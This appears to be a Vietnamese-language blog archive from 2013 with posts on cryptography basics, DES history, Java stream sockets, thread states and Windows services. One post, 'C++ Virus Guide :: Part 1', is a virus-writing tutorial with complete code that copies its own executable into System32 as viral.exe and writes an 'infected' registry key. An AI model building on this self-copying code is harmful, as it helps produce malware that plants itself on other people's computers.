Thứ Bảy, 30 tháng 11, 2013

Trả lời mật mã

1. Kiểu cipher nào là Caesar cipher?
Ceasar là kiểu mã hóa cổ điển.
2. Sự khác nhau giữa block cipher và stream cipher?
- Block cipher: lấy một số lượng bit xác định, còn được gọi là block, trong thông điệp nguyên thủy và mã hóa block đó.
- Stream cipher: mã hóa từng bit một trong thông điệp nguyên thủy, mỗi lần một bit.'
3. ECC được phân loại như thể loại nào của giải thuật mật mã ?
ECC (Elliptic curve cryptography) là một lớp của các giải thuật mật mã bất đối xứng.
4. Những điểm chính trong nguyên lý Kerckhoff?
- Hệ thống phải vững chắc , nếu không về mặt toán học, thì nó không thể đọc được.
- Hệ thống có thể không yêu cầu bí mật và có thể bị ăn trộm bởi kẻ địch mà không gây ra bất cứ vấn đề gì
- Hệ thoongs có thể dễ dàng giao tiếp và nhớ các keys mà không phải yêu cầu các ghi chú, và nó phải dễ dàng thay đổi hoặc chỉnh sửa các keys với những thành phần khác nhau
- Hệ thống có thể tương thích với các giao tiếp điện đàm
- Hệ thống phải có thể portable và các ứng dụng của nó có thể không yêu cầu nhiều hơn một người
- Cuối cùng, không quan tâm đến những hoàn cảnh mà hệ thống được áp dụng, nó phải dễ dàng sử dụng và không yêu cầu suy nghĩ nhiều cũng như kiến thức về những điều luật.
5. Substitution cipher là gì ?
Substitution cipher là loại mã hoạt động dựa trên nguyên tắc thay thế mỗi từ mã (bit, byte, ký tự, ...) bởi một từ mã khác theo một nguyên tắc nào đó.
6. Những sự khác nhau chính giữa mật mã đối xứng và bất đối xứng?
- Đối xứng: sử dụng một key
- Bất đối xứng: sử dụng 2 keys: public key và private keys
- Đối xứng: tốc độ nhanh nhưng gặp vấn đề trong việc trao đổi khóa
- Bất đối xứng: tốc độ chậm, không quan tâm về việc trao đổi khóa
7. Giải thích 3 DES khác thế nào so với DES?
- 3 DES là DES được sử dụng để mã hóa mỗi block 3 lần, mỗi lần với một key khác nhau .
8. Cách public key cryptography hoạt động ?
- public key cryptography sử dụng 2 khóa: một public key và một private key. Public key được sử dụng để mã hóa dữ liệu gửi từ người gửi đến người nhận và được chia sẻ với mọi người. Private key được sử dụng để giải mã dữ liệu đến tại nơi nhận và được bảo vệ cẩn thận bởi người nhận.
9 . Giải mã đoạn thông điệp:  V qb abg srne pbzchgref. V srne gur ynpx bs gurz. -Vfnnp Nfvzbi
- Thông điệp gốc là:
I do not fear computers. I fear the lack of them.
-Isaac Asimov
10. Physical security quan trọng như thế nào khi thảo luận về mật mã?
- Physical security  là một bước quan trọng khác trong việc bảo vệ dữ liệu. Nếu chúng ta khiến cho attacker khó tiếp cận về mặt vật lý đối với những thiết bị lưu trữ đồng nghĩa với việc chúng ta giải quyết được một phần lớn vấn đề của mình. Trong nhiều tình huống, các tổ chức lớn có các databases, file servers, và workstations chứa những thông tin về khách hàng, các dự báo kinh doanh, các tài liệu chiến lược kinh tế, các biểu đồ mạng hoặc nhiều thông tin khác mà chúng ta không muốn công khai hoặc rơi vào tay đối thủ cạnh tranh. Nếu chúng ta đặt những thiết bị vật lý ở những nơi có tính an toàn không cao, một attacker có thể đơn giản đi vào trụ sở và ăn trộm laptop, flash drive, hoặc đĩa từ một server và bỏ trốn với dữ liệu lấy trộm được.


Chủ Nhật, 3 tháng 11, 2013

C++ Virus Guide :: Part 1

Khi tôi bắt đầu học về virus, tôi tìm thấy rất nhiều hướng dẫn về virus trong ASM. Loại ngôn ngữ này rất thịnh hành với những người viết virus, nhưng tôi thích sử dụng C++ vì nó đơn giản hơn. Trong phần đầu tiên này tôi sẽ hướng dẫn copy một chương trình virus đơn giản vào trong một thư mục và ghi nó trong registry để giúp cho bạn hiểu cách virus lây nhiễm vào máy tính của chúng ta.

#include windows.h
#include string.h

Đây là 2 header files thường được sử dụng nhiều trong virus. "string.h" được cần đến khi ta sử dụng hàm strcat.

Tiếp theo chúng ta cần set một biến được cần tới. Biến này sẽ lưu đường dẫn tới thư mục trên windows (C:\Windows), số kí tự tối đa có thể lên tới 256 kí tự và nó có thể được viết như sau

char windir[MAX_PATH];

Bây giờ chúng ta cần bắt đầu hàm main, đây sẽ là nơi bạn lưu phần còn lại của code, nó là một entry-point function được gọi bởi hệ thống như là entry point khởi đầu của các ứng dụng dựa trên Windows.

int APIENTRY WinMain(HINSTANCE hInstance,
                              HINSTANCE hPrevInstance,
                              LPSTR lpCmdLine,
                              
int nCmdShow)

Đây là hàm mở chuẩn (standard opening function) cho bất cứ ứng dụng Windows nào như

Private main() in VB
.START in ASM
void main() in C
begin in pascal

và tương tự 

Ok bây giờ chúng ta cần set thêm biến trong hàm main. Biến thứ nhất sẽ lưu pathname của biến tiếp theo mà sẽ lưu vị trí của virus của bạn, biến khác sẽ được sử dụng cho handle của key, những gì sẽ được enter vào trong registry.

char pathname[256];
HKEY hKey;

Right, ok. Chúng ta bắt đầu code. Như tôi đã nói từ trước chương trình này sẽ lưu pathname của thư mục Windows và lưu nó vào trong biến 'windir'. Để có được windows path chúng ta có thể sử dụng dòng code phía dưới những gì sẽ lưu nó vào biến windir

GetWindowsDirectory(windr, sizeof(windr))

Nào bây giờ chúng ta đã có được pathname của windows directory, điều tiếp theo ta cần làm là tìm tên và đường dẫn của chính chương trình đó 

HMODULE hMe = GetModuleHandle(NULL);
DWORD nRet = GetModuleFileName(hMe, pathname, 256);

Hiện tại chúng ta đã có windows directory, tên của chương trình, và đường dẫn của nó. Những gì chúng ta cần làm bây giờ là chuẩn bị một target path những gì sẽ là C:\Windows\System32\ là những gì chúng ta có thể thấy trong biến windir và chuẩn bị cho phần còn lại thông qua việc thêm vào cuối , thêm vào những gì bạn muốn, đó là tên của chương trình thực thi, đối với trường hợp của tôi là viral.exe.

Sử dụng hàm CopyFile, nó sẽ copy pathname của chính chương trình đến nơi bạn muốn "windir"

strcat(windir, "\\System32\\viral.exe");
CopyFile(pathname,windir,0);


Sử dụng Registry

Tôi sẽ chỉ hướng dẫn bạn một cách đơn giản để sử dụng registry
Thứ nhất là set bất cứ giá trị nào bạn muốn. Nó sẽ lưu giá trị trong "reg" lên tới 10 kí tự, nếu bạn không thay đổi nó.

unsigned char reg[10] = "infected";

Bây giờ thì tạo một key
RegCreateKey(HKEY_CURRENT_USER,"Software\\retro",&hKey);

và set giá trị cho nó
RegSetValueEx(hKey,"virus",0,REG_SZ,reg,sizeof(reg));

đóng key chúng ta đã mở và kết thúc WinMain function
RegCloseKey(hKey);



Complete Code
#include windows.h#include string.h
char windir[MAX_PATH];
int APIENTRY WinMain(HINSTANCE hInstance,
                              HINSTANCE hPrevInstance,
                              LPSTR lpCmdLine,
                              
int nCmdShow)
{

char pathname[256];
HKEY hKey;

GetWindowsDirectory(windir, sizeof(windir));
HMODULE hMe = GetModuleHandle(NULL);
DWORD nRet = GetModuleFileName(hMe, pathname, 256);

strcat(windir, "\\System32\\viral.exe");
CopyFile(pathname,windir,0);

unsigned char reg[10] = "infected";
RegCreateKey(HKEY_CURRENT_USER,"Software\\retro",&hKey);
RegSetValueEx(hKey,"virus",0,REG_SZ,reg,
sizeof(reg));
RegCloseKey(hKey);

}

Chủ Nhật, 22 tháng 9, 2013

Vòng đời của một Thread


Tại bất kì một thời điểm nào, một thread có thể nằm trong một vài trạng thái của thread (thread states) - minh hoạ trong UML state diagram trong Fig.26.1 .

New and Runnable States

Một new thread bắt đầu vòng đời của nó trong new state. Nó duy trì trạng thái đó cho đến khi chương trình starts thread, những gì đặt trong runnable state. Một thread trong runnable state được biết đến như là đang thực thi công việc của nó.

Waiting State

Thỉnh thoảng một runnable thread chuyển sang waiting state trong khi nó chờ đợi thread khác thực thi một công việc. một waiting thread chuyển ngược trở lại runnable state chỉ khi thread khác thông báo rằng nó (thread đang chờ) có thể tiếp tục thực thi.

Timed Waiting State

Một runnable thread có thể gia nhập timed waiting state trong một khoảng thời gian xác định. Nó chuyển đổi ngược trở lại thành runnable state khi khoảng thời gian chờ hết hiệu lực hoặc khi sự kiện nó đang chờ xảy ra. Timed waiting waiting threads không thể sử dụng một processor, thậm chí nó available. Một runnable thread có thể chuyển đến timed waiting state nếu nó cung cấp một khoảng thời gian chờ khi nó đang chờ đợi một thread khác thực thi một công việc. Những thread như vậy quay trở về runnable state khi nó được thông báo bởi một thread khác hoặc khi thời gian chờ hết hiệu lực - bất cứ cái nào đến trước. Một cách khác để đặt một thread trong timed waiting state là đặt một runnable thread trong trạng thái ngủ. Một sleep thread duy trì trong timed waiting state trong một khoảng thời gian xác định (được gọi là một sleep interval), sau khoảng thời gian này nó quay trở về runnable state. Threads sleep khi chúng không có công việc để thực hiện trong giây lát. Ví dụ, một word processor có thể chứa một thread mà back up định kỳ document hiện hành lên đĩa cho mục đích khôi phục dữ liệu. Nếu thread này không sleep giữa những lần backups thành công, nó có thể yêu cấu một loop để xác định xem có nên chép document lên đĩa hay không. Loop này có thể ngốn processor time mà không làm được công việc nào hiệu quả, do đó giảm system performance. Trong trường hợp này, một giải pháp hiệu quả là cho thread chỉ định một sleep interval (bằng với khoảng thời gian giữa các lần backups thành công) và sau đó gia nhập vào timed waiting state. Thread này có thể được trả về runnable state khi sleep interval của nó hết hạn, ở những thời điểm nó chép bản sao của document lên đĩa và gia nhập lại timed waiting state.

Blocked State

Một runnable thread chuyển sang blocked state khi nó cố gắng thực hiện một công việc mà khổng thể được hoàn thành ngay lập tức mà nó phải tạm thời chờ cho đến khi cho đến khi công việc đó hoàn thành. Ví dụ, khi một thread giải quyết một I/O request, OS blocks thread đang thực thi cho đến khi I/O request hoàn thành

Terminated State

Một runnable thread gia nhập terminated state (thỉnh thoảng được gọi là dead state) khi nó hoàn thiện thành công công việc của nó hoặc kết thúc vì một lý do khác (có thể là do lỗi )

Thứ Ba, 20 tháng 8, 2013

Data Encryption Standard (DES)

Data Encryption Standard (DES)  là một block cipher phổ biến nhất 30 năm trong quá khứ. Mặc dù ngày nay nó không được đề cao về tính bảo mật bởi vì không gian key của DES là quá nhỏ, nó vẫn còn được sử dụng trong các ứng dụng mang tính kế thừa. Hơn nữa, mã hóa dữ liệu 3 lần trong một hàng với DES - một quá trình được biết đến như 3DES hoặc triple DES - sản sinh ra một cipher cực kì secure và được sử dụng rộng rãi ngày nay. DES là một giải thuật đối xứng được dùng để học tốt nhất, thiết kế của nó truyền cảm hứng cho nhiều ciphers hiện hành.

1. Giới thiệu về DES

Năm 1972 một cuộc cách mạng nhỏ được nổ ra bởi US National Bureau of Standards (NBS), bây giờ được gọi là National Institue of Standards and Technology (NIST): NBS đã bắt đầu một yêu cầu cho các đề xuất cho một cipher chuẩn trong nước Mỹ. Ý tưởng là tìm một secure crytographic algorithm, những gì được sử dụng cho các ứng dụng khác nhau. Cho đến thời điểm đó chính phủ luôn luôn nghĩ về crytpgraphy, và trong crytanalysis. Tuy nhiên, những năm đầu của thập kỷ 70 nhu cầu cho mã hóa cho các ứng dụng thương mại ví dụ như ngân hàng đã trở nên bức thiết mà không thể bị lờ đi được nữa.

NBS nhận được đề xuất đầy hứa hẹn trong năm 1974 từ đội mật mã làm việc tại IBM. Giải thuật IBM đưa ra dựa trên mật mã Lucifer. Lucifer là một họ của ciphers được phát triển bởi Horst Feistel vào cuối năm 1960, và là một trong những instances đầu tiên của block ciphers hoạt động trên digital data. Lucifer là một Feistel cipher những gì mã hóa các khối 64 bits sử dụng kích thước key là 128 bits. Để nghiên cứu thêm về độ bảo mật của các ciphers được đưa ra , NBS yêu cầu sự giúp đỡ của National Security Agency (NSA) . Dường như NSA chịu ảnh hưởng bởi cipher này, những gì được đặt tên là DES. Một trong những sự thay đổi đã diễn ra là DES được thiết kế chuyên biệt để chịu được các crytanalysis khác nhau, không có một cuộc tấn công nào cho đến năm 1990. Không rõ là chính IBM team  phát triển kiến thức về crytanalysis khác nhau hay là được hướng dẫn bởi NSA. Một cáo buộc, NSA còn thuyết phục IBM giảm chiều dài của Lucifer key từ 128 bit xuống 56 bit, điều này làm cho cipher có nhiều lỗ hổng với brute-force attacks.

Năm 1977, cuối cùng NBS released tất cả các chi tiết kĩ thuật của modified IBM cipher. Mặc dù cipher này được mô tả tới mức độ bit trong chuẩn, nhưng các tiêu chí của cipher, nhất là sự lựa chọn substitution boxes, đã không bao giờ được released.

Với sự phát triển nhanh chóng của các máy tính cá nhân đầu những năm 80 và tất cả các chi tiết kĩ thuật của DES được công bố, ta dễ dàng phân tích cấu trúc bên trong của cipher. Trong suốt thời kì này, các cộng đồng nghiêm cứu mật mã dân sự đã phát triển và DES đã trải qua những sự giám sát. Tuy nhiên, không có các điểm yếu nghiêm trọng nào được tìm thấy cho đến năm 1990. DES chỉ được chuẩn hóa trong 10 năm, cho đến năm 1987 . Bởi vì sự sử dụng rộng rãi của DES và có những vấn đề về bảo mật, NIST đã xác nhận lại việc sử dụng cipher cho tới năm 1999, khi cuối cùng nó được thay thế bởi Advanced Encryption Standard (AES).

Thứ Năm, 15 tháng 8, 2013

Thiết lập một Server và Client đơn giản sử dụng Stream Sockets

Bước thứ nhất: Tạo một ServerSocket

Thiết lập một server đơn giản yêu cầu 5 bước  . Bước 1 là tạo một ServerSocket object. Một lời gọi tới ServerSocket constructor, ví dụ như

    ServerSocket server = new ServerSocket( portNumber, queueLength);

đăng ký môt TCP port number  có sẵn và chỉ rõ số lượng clients cực đại có thể chờ để kết nối đến server (ví dụ như, queue length) . Port number được sử dụng bởi client để xác định vị trí của ứng dụng server trên máy server. Nó thường được gọi là handsharke point. Nếu queue bị đầy, server sẽ từ chối các kết nối của client. Constructor thiết lập port nơi server chờ các kết nối đến từ clients -- một quá trình được biết đến như là binding the server to the port. Mỗi client sẽ yêu cầu để kết nối đến server trên port này. Duy nhất một ứng dụng tại một thời điểm có thể được gán để một port xác định trên server.

Note: Port numbers có thể nằm giữa 0 và 65,535. Hầu hết các hệ điều hành dành riêng các port được đánh số nhỏ hơn 1024 cho các dịch vụ hệ thống (ví dụ, email và World Wide Web servers). Nói chung, những port dưới 1024 không được xác định như là các ports kết nối trong các chương trình người dùng. Thực tế, một vài hệ điều hành yêu cầu các đặc quyền truy nhập đặc biệt để gán các chỉ số port dưới 1024.

Bước 2: Chờ đợi một kết nối

Các chương trình quản lý mỗi kết nối client với một Socket object. Trong Bước 2, server lắng nghe một cách không giới hạn (hoặc các khối) cho một nỗ lực kết nối đến từ client. Để lắng nghe một kết nối client, chương trình gọi phương thức accept từ ServerSocket, như sau:

    Socket connection = server.accept();

sau khi thực hiện dòng lệnh phía trên ta thu được kết quả là một Socket khi một kết nối với một client được thiết lập. Socket này cho phép server tương tác với client. Những sự tương tác với client thực sự diễn ra tại một server port khác với handshake point. Nó cho phép port được chỉ định trong Bước 1 được sử dụng lại trong một server đa luồng để chấp nhận một kết nối client khác.

Bước 3: Lấy I/O Streams của Socket
Bước 3 là lấy OutputStream  và InputStream objects để giúp server giao tiếp với client bằng các hành động như gửi và nhận bytes. Server gửi thông tin tới client thông qua một OutputStream và nhận thông tin từ client thông qua một InputStream. Server gọi phương thức getOutputStream trên socket để có được một tham chiếu tới OutputStream của Socket và gọi phương thức getInputStream trên Socket để có được một tham chiếu tới InputStream của Socket 

Stream objects có thể được sử dụng để gửi hoặc là nhận từng bytes hoặc một chuỗi bytes với phương thức write của OutputStream và phương thức read của InputStream tương ứng. Thông thường, sẽ là hữu dụng để gửi và nhận các giá trị của các kiêu nguyên thủy (ví dụ, int double) hoặc Serializable objects (ví dụ, Strings hoặc các kiểu serializable khác) hơn là gửi bytes. Chúng ta sử dụng các kiểu stream khác (ví dụ như ObjectOutputStream và ObjectInputStream) xung quanh OutputStream InputStream kết hợp với Socket. Ví dụ,

    ObjectInputStream input = 
         new ObjectInputStream( connection.getInputStream() );

    ObjectOutputStream output = 
         new ObjectOutputStream( connection.getOutputStream() );

Vẻ đẹp trong việc thiết lập các mối quan hệ như trên đó là bất cứ thứ gì server writes tới ObjectOutputStream  được gửi thông qua OutputStream và là available tại InputStream của client, và bất cứ thứ gì client writes tới OutputStream của nó (với một ObjectOutputStream tương ứng) là available với InputStream phía server.

Bước 4: Thông hiện việc xử lý
Bước 4 là một chặng xử lý, xử lý những gì mà server và client giao tiếp thông qua OutputStream InputStream objects.

Bước 5: Đóng kết nối 
Trong Bước 5, khi việc truyền dữ liệu giữa hai bên hoàn tất, server đóng kết nối thông qua việc gọi phương thức close trên các streams và trên Socket.


Thiết Lập Một Client Đơn Giản Sử Dụng Stream Sockets

Thiết lập một client đơn giản trong Java yêu cầu 4 bước.

Bước 1: Tạo một Socket để kết nối tới Server
Trong Bước 1, chúng ta tạo một Socket để kết nối đến server. Socket constructor thiết lập kết nối. Cho ví dụ, statement sau:

    Socket connection = new Socket( serverAddress, port);

sử dụn Socket constructor với 2 arguments  --- Địa chỉ của server (serverAddress) và port number. Nếu việc kết nối là thành công, statement này sẽ trả về một Socket. Một nỗ lực kết nối thất bại có thể ném ra một thể hiện (instance) cả subclass của IOException., vì vậy nhiều chương trình đơn giản bắt IOException. Một UnknownHostException xảy ra hệ thống không thể được server name được chỉ định trong một lời gọi tới Socket constructor tới một địa chỉ IP tương ứng.

Bước 2: Lấy I/O Streams của Socket
Trong Bước 2, client sử dụng các phương thức getInputStream getOutputStream của Socket để có được các tham chiếu tới InputStream OutputStream của Socket. Cũng như trong bước 2 đối với phía server, chúng ta có thể sử dụng các kĩ thuật với các kiểu stream khác xung quanh InputStream OutputStream được kết hợp với Socket. Nếu server đang gửi thông tin trong dạng của các kiểu thực sự, client nên nhận thông tin trong cùng một định dạng. Do vậy, nếu server gửi các giá trị với ObjectOutputStream , client nên đọc các giá trị này với ObjectInputStream. 

Bước 3: Thực hiện việc xử lý
Bước 3 là một chặng xử lý các dữ liệu trong giao tiếp giữa client và server thông qua InputStream OutputStream objects.

Bước 4: Đóng kết nối
Trong Bước 4, client đóng kết nối khi việc trao đổi dữ liệu hoàn tất thông qua việc gọi phương thức close trên các streams và trên Socket. Client phải xác định khi nào server hoàn tất việc gửi thông tin vì vậy nó có thể gọi close để đóng kết nối Socket. Cho ví dụ, phương thức read của  InputStream trả về giá trị -1 khi nó tìm thấy end-of-stream (còn được gọi là EOF - end of file). Nếu một ObjectInputStream đọc thông tin từ server, một EOFException xảy ra khi client cố gắng đọc một giá trị từ một stream những gì end-of-stream được phát hiện.

Thứ Ba, 13 tháng 8, 2013

Shared Service Processes

Running mọi service trong các process của chúng thay vì có services chia sẻ cùng một process bất cứ khi nào có thể sẽ gây lãng phí tài nguyên hệ thống. Tuy nhiên, trong các processes được chia sẻ nếu có bất cứ một service trong process có một lỗi gây cho process exit, tất cả services trong process sẽ kết thúc.

Một số Windows built-in services run trong process của riêng chúng và một số chia sẻ một process với các services khác. Cho ví dụ, SCM process hosts Event Log service và user-mode Plug and Play service, và LSASS process chứa các dịch vụ liên quan đến security - ví dụ như Security Accounts Manager (Samss) service, Net Logon (Netlogon) service, và IPSec Policy Agent (PolicyAgent) service.

Cũng có một process chung có tên là Service Host (SvcHost - \Windows\System32\Svchost.exe) để chứa nhiều services. Services mà run trong các SvcHost processes bao gồm Telephony (TapiSrv), Remote Procedure Call (RpcSs), và Remote Access Connection Manager (Rasman). Windows implements services mà run trong SvcHost như là các Dlls và includes một ImagePath giống như là “%SystemRoot%\System32\svchost.exe -k netsvcs” trong service registry key. Registry key của service phải có một registry value có tên là ServiceDll dưới Parameters subkey mà trỏ tới file Dll của service.

Tất cả các services chia sẻ một SvcHost process chỉ định cùng một parameter (ví dụ như "-k netsvcs") vì vậy chúng có một single entry trong SCM's image database.

Thứ Bảy, 10 tháng 8, 2013

Service Control Manager (SCM)

Như chúng ta đã biết "Services" trên Windows có thể được biết đến hoặc như là server process hoặc divice driver, bài viết này nhắc đến services trên khía cạnh là user-mode processes. Services giống như là UNIX "daemon processes" hoặc VMS "detached processes" ở điểm là chúng có thể được cấu hình để start một cách tự động vào thời điểm system boot mà không yêu cầu một tương tác đăng nhập. Chúng còn có thể được start một cách thủ công (ví dụ như running Services administrative tool hoặc thông qua việc gọi hàm StartService). Thông thường, services không tương tác với user được đăng nhập, mặc dù cũng có những điều kiện đặc biệt khi nó có thể.

Service control manager (SCM) là một system process đặc biệt running image \Windows\System32\Services.exe , nó chịu trách nhiệm cho việc starting, stopping, và interacting với service processes. Service program chỉ là Windows images mà gọi các Windows functions đặc biệt để tương tác với SCM nhằm thực hiện những kiểu công việc như là đăng ký startup của service, hồi đáp tới status requests, tạm ngưng hoặc shutting down service. Các tài liệu về subkeys và values cho services được document trong resource kit Registry Entries help file (Regentry.chm).

Luôn nhớ một điều là services có 3 cái tên : process name bạn nhìn thấy running trên hệ thống, internal name trong registry, và display name được hiển thị trong Services administartive tool. (Không phải mọi services đều có display name - Nếu một service không có một display name , internal name được hiển thị). Với Windows, services còn có thể có một description field hiển thị chi tiết hơn những gì service làm.

Một số Windows components được implemented như services , ví dụ như Spooler, Event Log, Task Scheduler, và các thành phần networking.

Services

Service

Hầu hết mọi hệ điều hành đều có một cơ chế để start processes tại system startup time để cung cấp services không phụ thuộc vào một interactive user. Trong Windows, những processes như vậy được gọi là services hoặc Windows services , bởi vì chúng dựa trên Windows API để tương tác với hệ thống. Services tương tự như Unix daemon processes và thường implement server side của các ứng dụng client/server. Một ví dụ của một Windows service có thể là một Web server bởi vì nó phải running mà không quan tâm đến có hay không một ai đó được logged on vào máy tính và nó phải start running khi hệ thống starts vì vậy một nhà quản trị không phải nhớ để start nó.

Windows services bao gồm 3 thành phần: một ứng dụng dịch vụ, một chương trình điều khiển ứng dụng (a service control program) SCP, và một trình quản lý điều khiển ứng dụng (the service control manager) SCM. Thứ nhất, chúng ta sẽ mô tả service applications, service accounts, và các hoạt động của SCM. Sau đó chúng tôi sẽ giải thích cách auto-start services được started trong suốt system boot.
Hầu hết mọi OS có một cơ chế để start các processes tại thời điểm hệ thống khởi động để cung cấp services mà không bị bó buộc vào một người dùng tương tác. Trong Windows, những processes như vậy được gọi là services hoặc Windows services , bởi vì chúng dựa trên Windows API để tương tác với hệ thống. Services trong Windows tương tự như UNIX daemon processes và thường implement phía bên server của các ứng dụng client/server. Một ví dụ của Windows service có thể là Web server, lí do là vì nó phải running bất kể khi có hay không một ai đó đăng nhập vào máy tính và nó phải running khi hệ thống khởi động vì vậy người quản trị viên không phải nhớ là mình phải khởi động nó. 

Windows services bao gồm 3 thành phần: một ứng dụng dịch vụ (a service application), một chương trình điều khiển ứng dụng (a service control program), và một trình quản lý điều khiển ứng dụng (the service control manager). Đầu tiên, chúng ta sẽ mô tả service applications, service accounts, và các hoạt động của SCM. Sau đó, chúng tôi sẽ giải thích cách auto-start services được khởi động trong suốt system boot. Chúng tôi sẽ còn cover các bước SCM thực hiện khi một service bị lỗi trong quá trình khởi động của nó và cách SCM shuts down services. 

Service Applications

Service applications, ví dụ như Web servers, gồm ít nhất một excutable để run như là một Windows service. Một người dùng muốn start, stop, hoặc cấu hình (configure) một service sử dụng một SCP. Mặc dù Windows cung cấp built-in SCPs phục vụ cho việc start, stop, pause, hoặc tiếp tục chức năng, một vài service applications có những SCP của riêng họ để cho phép các nhà quản trị để xác định các thiết lập cấu hình đến riêng dịch vụ chúng quản lý. 

Service applications đơn giản là Windows executables (GUI hoặc console) thêm vào đó là đoạn mã bổ sung để nhận commands từ SCM cũng như là giao tiếp với SCM thông qua các trạng thái ứng dụng. Bởi vì hầu hết dịch vụ không có một user interface, chúng được xây dựng như là console programs. 

Khi bạn install một ứng dụng bao gồm một service, chương trình cài đặt ứng dụng phải register service với hệ thống. Để register service, setup program gọi hàm CreateService, một hàm liên quan đến các dịch vụ được implemented trond Advapi32.dll (\Windows\System32\Advapi32.dll). Advapi32 , the "Advance API" DLL, implement tất cả SCM APIs phía client. 

Khi một setup program registers một service thông qua việc gọi CreateService, một message được gửi tới SCM trên máy đặt service. SCM sau đó tạo một registry key cho service dưới HKLM\SYSTEM\CurrentControlSet\Service. Từng keys cho mỗi dịch vụ định nghĩa path đến excutable image chứa service cũng như là parameters và configuration options. 

Sau khi tạo một service, các ứng dụng cài đặt hoặc quản lý có thể start service thông qua hàm StartService . Bởi vì một vài ứng dụng dựa trên dịch vụ còn phải khởi tạo trong suốt boot process đến function, ta không thường thấy một setup program register một service như là một auto-start service, yêu cầu user reboot hệ thống để hoàn tất việc cài đặt, và để cho SCM start service như là system boots. 

Khi một chương trình gọi CreateService , nó phải xác định một số lượng parameters mô tả các đặc tính của service. Các thuộc tính bao gồm kiểu service (có phải service đó run trong process của riêng nó hay là run trong một process được chia sẻ giữa nhiều services), vị trí của service's excutable image file, một optional display name, một optional account name và password được sử dụng để start service khi trong một account's security context, một start type chỉ ra rằng service starts tự động khi hệ thống boot hay là thực hiện thủ công dưới sự điều hướng của một SCP, một error code ám chỉ cách hệ thống phản ứng nếu service phát hiện một lỗi khi starting, và, nếu service starts tự động , optional information sẽ xác định khi nào service starts liên quan đến services khác.


SCM lưu mỗi thuộc tính như là một giá trị trong registry key của dịch vụ. Figure 4-8 shows một ví dụ của một service registry key. 

 Nếu một service cần lưu thông tin cấu hình có tính chất riêng tư với service, theo quy tắc thì ta tạo ra một subkey có tên là Parameter dưới service key của nó và sau đó lưu thông tin cấu hình trong các giá trị dưới subkey đó. Service sau đó có thể lấy được các giá trị này bằng cách sử dụng các hàm registry chuẩn. 


Note: SCM không access đến Parameters subkey của service cho đến khi service được xóa đi, tại thời điểm mà SCM xóa đi trọn vẹn key của service, bao gồm cả subkeys giống như Parameters.

Chúng ta cùng nhau phân tích một vài thông số :

Start :
- SERVICE_BOOT_START (0): Ntldr hoặc Osloader nạp trước driver vì vậy nó nằm trong bộ nhớ trong suốt quá trình boot. Các driver này được khởi tạo trước SERVICE_SYSTEM_START drivers.
- SERVICE_SYSTEM_START (1): drivers nạp và được khởi tạo trong suốt quá trình khởi tạo kernel sau khi SERVICE_BOOT_START được khởi tạo. 
- SERVICE_AUTO_START (2) : SCM starts driver hoặc service sau SCM process, Service.exe, starts. 
- SERVICE_DEMAND_START (3) : SCM starts driver hoặc service theo nhu cầu.
- SERVICE_DISABLED (4) : driver hoặc service không được nạp hoặc khởi tạo

Type:
- SERVICE_KERNEL_DRIVER (1) : Device driver
- SERVICE_FILE_SYSTEM_DRIVER (2) : Kernel-mode file system driver
- SERVICE_ADAPTER (4) : Lỗi thời
- SERVICE_RECOGNIZER_DRIVER (8) : File system recognizer driver
- SERVICE_WIN32_OWN_PROCESS (16): Service runs trong một process mà hosts chỉ một service
- SERVICE_WIN32_SHARE_PROCESS (32): Service runs trong một process mà hosts nhiều services. 
- SERVICE_INTERACTIVE_PROCESS (256) : Service được phép hiển thị windows trên console và nhận user input. 

Để ý vào Type values có 3 giá trị được áp dụng cho device drivers: device driver, file system driver, và file system recognizer. Các giá trị này được sử dụng bởi Windows device drivers, những gì còn lưu các parameters của chúng như là registry data trong Service registry key. SCM chịu trách nhiệm starting drivers với Start value là SERVICE_AUTO_START hoặc SERVICE_DEMAND_START, vì vậy SCM database có bao gồm drivers. Service sử dụng các kiểu khác, SERVICE_WIN32_OWN_PROCESS và SERVICE_WIN32_SHARE_PROCESS. Một excutable mà hosts nhiều hơn một service xác định SERVICE_WIN32_SHARE_PROCESS . Một lợi thế khi có một process run nhiều hơn một service đó là system resources có thể được tiết kiệm so với việc run chúng trong nhiều process. Một bất lợi tiềm ẩn đó là nếu một trong các services đang running trong cùng một process bị lỗi mà kết thúc process, tất cả services của process cũng kết thúc. Còn nữa, tất cả services phải run dưới cùng một account. 

Khi SCM starts một service process , process ngây lập tức gọi StartServiceCtrlDispatcher function . StartServiceCtrlDispatcher accepts một danh sách entry points bên trong services, một entry point cho mỗi service trong process. Mỗi entry point được nhận dạng bởi tên của service mà entry point tương ứng với. Sau khi tạo ra một kết nối đến SCM, StartServiceCtrlDispatcher  đứng trong một loop đợi commands thông qua kết nối đến từ SCM. SCM gửi một service-start command mỗi lần nó start một service process sở hữu. Đối với mỗi lần nhận start command, StartServiceCtrlDispatcher function tạo một thread, được gọi là service thread, để gọi starting service's entry point và implement command loop cho service. StartServiceCtrlDispatcher chờ vô thời hạn cho commands từ SCM và trả quyền điều khiển đến process's main function chỉ khi process's services dừng lại, cho phép service process dọn dẹp resources trước khi thoát. 

Hành động đầu tiên của một service entry point đó là gọi hàm RegisterServiceHandler . Hàm này nhận và lưu một con trỏ đến một hàm, được gọi là control handler, những gì mà service implements nhiều commands nó nhận tử SCM. RegisterServiceHandler không giao tiếp với SCM, nhưng nó lưu hàm trong local process memory cho hàm StartServiceCtrlDispatcher . Service entry point tiếp tục khởi tạo service, những gì bao gồm cấp phát bộ nhớ, tạo ra các điểm đầu cuối giao tiếp, và đọc các thông tin cấu hình cá nhân tử registry. Một quy tắc mà hầu hết services tuân theo là lưu parameters của chúng dưới một subkey của service registry key của chúng , có tên là Parameters. Trong khi entry point đang khởi tạo service , nó có thể gửi status messages một cách định kỳ , sử dụng hàm SetServiceStatus , để SCM chỉ ra cách khởi động service. Sau khi entry point hoàn thành việc khởi tạo, một service thread thường đứng trong loop chờ cho requests từ client applications. Cho ví dụ, một Web server có thể khởi tạo một TCP listen socket và chờ inbound HTTP connection requests. 

Một service process's main thread, những gì thực thi trong hàm StartServiceCtrlDispatcher , nhận SCM commands trực tiếp tại services trong process và gọi target service's control handler function (được lưu trong RegisterServiceHandler). SCM commands bao gồm stop, pause, resume, interrogate, và shutdown , hoặc application-defined commands. 

Thứ Sáu, 2 tháng 8, 2013

Integer Arithmetic in ASM

Introduction

